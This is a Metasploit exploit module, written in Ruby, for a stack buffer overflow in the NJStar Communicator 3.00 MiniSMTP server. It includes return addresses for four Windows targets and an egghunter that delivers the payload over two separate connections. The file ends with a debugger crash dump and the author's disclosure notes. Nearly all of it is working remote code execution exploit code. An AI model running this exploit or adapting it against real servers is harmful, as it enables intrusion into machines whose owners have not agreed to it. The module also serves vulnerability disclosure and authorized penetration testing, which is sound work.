##
# Exploit Title: NJStar Communicator 3.00 MiniSMTP Server Remote Exploit
# Date: 10/31/2011
# Author: Dillon Beresford
# Twitter: https://twitter.com/#!/D1N
# Software Link: http://www.njstar.com/download/njcom.exe
# Version: 3.00 and prior
# Build: 11818 and prior
# Tested on: Windows XP SP3/SP2/SP1 and Windows Server 2003 SP0
# CVE : NONE
# Shouts to bannedit, sinn3r, rick2600, tmanning, corelanc0d3r, jcran,
# manils, d0tslash, mublix, halsten, and everyone at AHA!
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
#
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'NJStar Communicator 3.00 MiniSMTP Server Remote Exploit',
   'Description' => %q{
     This module exploits a stack overflow vulnerability in NJStar Communicator
     Version 3.00 MiniSMTP server. 
   },
   'License'  => MSF_LICENSE,
   'Author'  =>
    [
     'Dillon Beresford', # Original discovery and MSF Module.
     'Corelan Team', # tx for mona.py, all the tuts, and for being awesome. :)
    ],
   'Version'  => '$Revision:$',
   'References' =>
    [
     [ 'OSVDB', '' ],
     [ 'CVE', '' ],
     [ 'URL', 'http://www.njstar.com/cms/njstar-communicator' ],
     [ 'URL', 'http://www.youtube.com/watch?v=KvkKX035484'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Platform' => 'win',
   'Payload' =>
    {
          'BadChars' => "\x00",
          'StackAdjustment' => -1500,
    },

   'Targets'  =>
    [
     [ 'Windows XP SP3',
         {
                'Ret'    => 0x7c874413,
                'Offset' => 247,
         } # jmp esp kernel32.dll
       ],
       [ 'Windows XP SP2',
           {
             'Ret'     => 0x77558952,
             'Offset'  => 247,
           } # jmp esp ntdll.dll
       ],
       [ 'Windows XP SP1',
           {
             'Ret'     => 0x77d718fc,
             'Offset'  => 247,
           } # jmp esp user32.dll
       ],
       [ 'Windows Server 2003 SP0',
         {
                'Ret'    => 0x71c033a0,
                'Offset' => 247,
         } # jmp esp ntdll.dll
       ],
    ], # Feel free to add more targets.
   'Privileged' => false,
   'DisclosureDate' => 'OCT 31 2011',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(25)], self.class)

 end
 
 def exploit

    eggoptions =
    {
        :checksum => true,
        :eggtag => "w00t"
    }

    badchars = '\x00'
    hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
     
    if target.name =~ /Windows XP SP3/
       
      buffer =  rand_text(target['Offset'])
      buffer << [target.ret].pack('V')
      buffer << hunter
      buffer << make_nops(4)
     
    elsif target.name =~ /Windows XP SP2/
     
      buffer =  rand_text(target['Offset']) 
      buffer << [target.ret].pack('V')
      buffer << hunter
      buffer << make_nops(4)
     
    elsif target.name =~ /Windows XP SP1/
     
      buffer = rand_text(target['Offset'])
      buffer << [target.ret].pack('V')
      buffer << hunter
      buffer << make_nops(4)
     
    elsif target.name =~ /Windows Server 2003 SP0/

      buffer = rand_text(target['Offset'])
      buffer << [target.ret].pack('V')
      buffer << hunter
      buffer << make_nops(4)
     
    end
     
    # Just some debugging output so we can see lengths and byte size of each of our buffer.
    print_status("egg: %u bytes: \n" % egg.length + Rex::Text.to_hex_dump(egg))
    print_status("hunter: %u bytes: \n" % hunter.length + Rex::Text.to_hex_dump(hunter))
    print_status("buffer: %u bytes:\n" % buffer.length + Rex::Text.to_hex_dump(buffer))
     
    print_status("Trying target #{target.name}...")
     
    # har har har you get trick no treat...
    # we dont have very much space so we
    # send our egg in a seperate connection
     
    connect
     
    print_status("Sending the egg...")
    sock.put(egg)
     
    # I think you betta call, ghostbusters...
    # now we send our evil buffer along with the
    # egg hunter, we are doing multiple connections
    # to solve the issue with limited stack space.
    # thanks to bannedit for advice on threads and
    # making multiple connections to get around
    # stack space constraints. :)
     
    connect
     
    print_status("Sending our buffer containing the egg hunter...")
    sock.put(buffer)
   
  handler
  disconnect
 end
end

##
# No response as of 10/31/11 from AUSCERT or the software vendor. CNCERT and USCERT responded
# on 10/30/11 and 10/31/11, CNCERT said in an email they needed to see if the vulnerability
# is remotely exploitable and needed more verification. I sent a proof of concept exploit
# in python with remote code execution. So, here is the proof that the bug is, in fact,
# remotely exploitable. WIN!
##

##
# eax=00000000 ebx=00417bf8 ecx=00002745 edx=00000000 esi=008a3e50
# edi=008a3d80
# eip=42424242 esp=00ccff70 ebp=7c8097d0 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000           
# efl=00010206
# 42424242 ??              ???
# 0:003> !exchain
# image00400000+bbc4 (0040bbc4)
# 00ccff00: 41414141
# Invalid exception stack at 41414141
# 0:003> d esp
# 00ccff70  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 00ccff80  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 00ccff90  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 00ccffa0  44 44 44 44 00 ff cc 00-c4 bb 40 00 20 23 41 00  DDDD......@. #A.
# 00ccffb0  00 00 00 00 ec ff cc 00-29 b7 80 7c b8 3d 8a 00  ........)..|.=..
# 00ccffc0  00 00 00 00 00 00 00 00-b8 3d 8a 00 00 c0 fd 7f  .........=......
# 00ccffd0  00 d6 e3 89 c0 ff cc 00-98 08 99 89 ff ff ff ff  ................
# 00ccffe0  d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00  ...|0..|........
##